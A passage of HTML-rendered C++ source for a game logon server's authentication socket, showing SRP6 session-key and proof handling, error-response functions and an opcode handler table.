    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>&nbsp;(</span><span class="datatypes">int</span><span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;16;&nbsp;i++) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;t1[i]&nbsp;=&nbsp;t[i*2]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Initialize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.UpdateData(t1,&nbsp;16); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Finalize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>&nbsp;(</span><span class="datatypes">int</span><span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;20;&nbsp;i++) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;vK[i*2]&nbsp;=&nbsp;sha.GetDigest()[i]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>&nbsp;(</span><span class="datatypes">int</span><span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;16;&nbsp;i++) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;t1[i]&nbsp;=&nbsp;t[i*2+1]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Initialize(); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.UpdateData(t1,&nbsp;16); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Finalize(); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>&nbsp;(</span><span class="datatypes">int</span><span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;20;&nbsp;i++) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;vK[i*2+1]&nbsp;=&nbsp;sha.GetDigest()[i]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;m_sessionkey.SetBinary(vK,&nbsp;40); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;hash[20]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Initialize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.UpdateBigNumbers(&amp;N,&nbsp;NULL); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Finalize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(hash,&nbsp;sha.GetDigest(),&nbsp;20); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Initialize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.UpdateBigNumbers(&amp;g,&nbsp;NULL); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Finalize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>&nbsp;(</span><span class="datatypes">int</span><span>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;20;&nbsp;i++) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hash[i]&nbsp;^=&nbsp;sha.GetDigest()[i]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;BigNumber&nbsp;t3; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;t3.SetBinary(hash,&nbsp;20); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Initialize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.UpdateData((</span><span class="keyword">const</span><span>&nbsp;uint8*)m_account-&gt;UsernamePtr-&gt;c_str(),&nbsp;(</span><span class="datatypes">int</span><span>)m_account-&gt;UsernamePtr-&gt;size()); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Finalize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;BigNumber&nbsp;t4; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;t4.SetBinary(sha.GetDigest(),&nbsp;20); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Initialize(); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.UpdateBigNumbers(&amp;t3,&nbsp;&amp;t4,&nbsp;&amp;s,&nbsp;&amp;A,&nbsp;&amp;B,&nbsp;&amp;m_sessionkey,&nbsp;NULL); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Finalize(); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;BigNumber&nbsp;M; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;M.SetBinary(sha.GetDigest(),&nbsp;20); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Compare&nbsp;M1&nbsp;values. </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(memcmp(lp.M1,&nbsp;M.AsByteArray(),&nbsp;20)&nbsp;!=&nbsp;0) &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Authentication&nbsp;failed. </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//SendProofError(4,&nbsp;0); </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SendChallengeError(CE_NO_ACCOUNT); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthLogonProof]&nbsp;M1&nbsp;values&nbsp;don't&nbsp;match.&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Store&nbsp;sessionkey </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;m_account-&gt;SetSessionKey(m_sessionkey.AsByteArray()); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;let&nbsp;the&nbsp;client&nbsp;know </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Initialize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.UpdateBigNumbers(&amp;A,&nbsp;&amp;M,&nbsp;&amp;m_sessionkey,&nbsp;0); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;sha.Finalize(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;SendProofError(0,&nbsp;sha.GetDigest()); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sLog.outDebug(</span><span class="string">&quot;[AuthLogonProof]&nbsp;Authentication&nbsp;Success.&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;we're&nbsp;authenticated&nbsp;now&nbsp;:) </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;m_authenticated&nbsp;=&nbsp;</span><span class="keyword">true</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;Don't&nbsp;update&nbsp;when&nbsp;IP&nbsp;banned,&nbsp;but&nbsp;update&nbsp;anyway&nbsp;if&nbsp;it's&nbsp;an&nbsp;account&nbsp;ban </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;sLogonSQL-&gt;Execute(</span><span class="string">&quot;UPDATE&nbsp;accounts&nbsp;SET&nbsp;lastlogin=NOW(),&nbsp;lastip='%s'&nbsp;WHERE&nbsp;acct=%u;&quot;</span><span>,&nbsp;GetRemoteIP().c_str(),&nbsp;m_account-&gt;AccountId); &nbsp;&nbsp;</span></li>
    <li class=""><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">void</span><span>&nbsp;AuthSocket::SendChallengeError(uint8&nbsp;Error) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;buffer[3]; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;buffer[0]&nbsp;=&nbsp;buffer[1]&nbsp;=&nbsp;0; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;buffer[2]&nbsp;=&nbsp;Error; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;Send(buffer,&nbsp;3); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">void</span><span>&nbsp;AuthSocket::SendProofError(uint8&nbsp;Error,&nbsp;uint8&nbsp;*&nbsp;M2) &nbsp;&nbsp;</span></li>
    <li class=""><span>{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;uint8&nbsp;buffer[32]; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;memset(buffer,&nbsp;0,&nbsp;32); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;buffer[0]&nbsp;=&nbsp;1; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;buffer[1]&nbsp;=&nbsp;Error; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(M2&nbsp;==&nbsp;0) &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(uint32*)&amp;buffer[2]&nbsp;=&nbsp;3; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Send(buffer,&nbsp;6); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;memcpy(&amp;buffer[2],&nbsp;M2,&nbsp;20); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;buffer[22]=&nbsp;0x01;&nbsp;</span><span class="comment">//&lt;--&nbsp;ARENA&nbsp;TOURNAMENT&nbsp;ACC&nbsp;FLAG! </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;Send(buffer,&nbsp;32); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="preprocessor">#define&nbsp;AUTH_CHALLENGE&nbsp;0 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="preprocessor">#define&nbsp;AUTH_PROOF&nbsp;1 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="preprocessor">#define&nbsp;AUTH_RECHALLENGE&nbsp;2 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="preprocessor">#define&nbsp;AUTH_REPROOF&nbsp;3 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="preprocessor">#define&nbsp;REALM_LIST&nbsp;16 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="preprocessor">#define&nbsp;INITIATE_TRANSFER&nbsp;48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;0x30 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="preprocessor">#define&nbsp;TRANSFER_DATA&nbsp;49&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;0x31 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="preprocessor">#define&nbsp;ACCEPT_TRANSFER&nbsp;50&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;0x32 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="preprocessor">#define&nbsp;RESUME_TRANSFER&nbsp;51&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;0x33 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="preprocessor">#define&nbsp;CANCEL_TRANSFER&nbsp;52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;0x34 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="preprocessor">#define&nbsp;MAX_AUTH_CMD&nbsp;53 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">typedef</span><span>&nbsp;</span><span class="keyword">void</span><span>&nbsp;(AuthSocket::*AuthHandler)(); &nbsp;&nbsp;</span></li>
    <li class=""><span class="keyword">static</span><span>&nbsp;AuthHandler&nbsp;Handlers[MAX_AUTH_CMD]&nbsp;=&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;AuthSocket::HandleChallenge,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;0 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;AuthSocket::HandleProof,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;1 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;AuthSocket::HandleReconnectChallenge,&nbsp;&nbsp;</span><span class="comment">//&nbsp;2 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;AuthSocket::HandleReconnectProof,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;3 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;4 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;5 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;6 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;7 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;8 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;9 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;10 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;11 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;12 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;13 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;14 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;15 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&amp;AuthSocket::HandleRealmlist,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;16 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;17 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;18 </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="comment">//&nbsp;19 </span><span>&nbsp;&nbsp;</span></li>
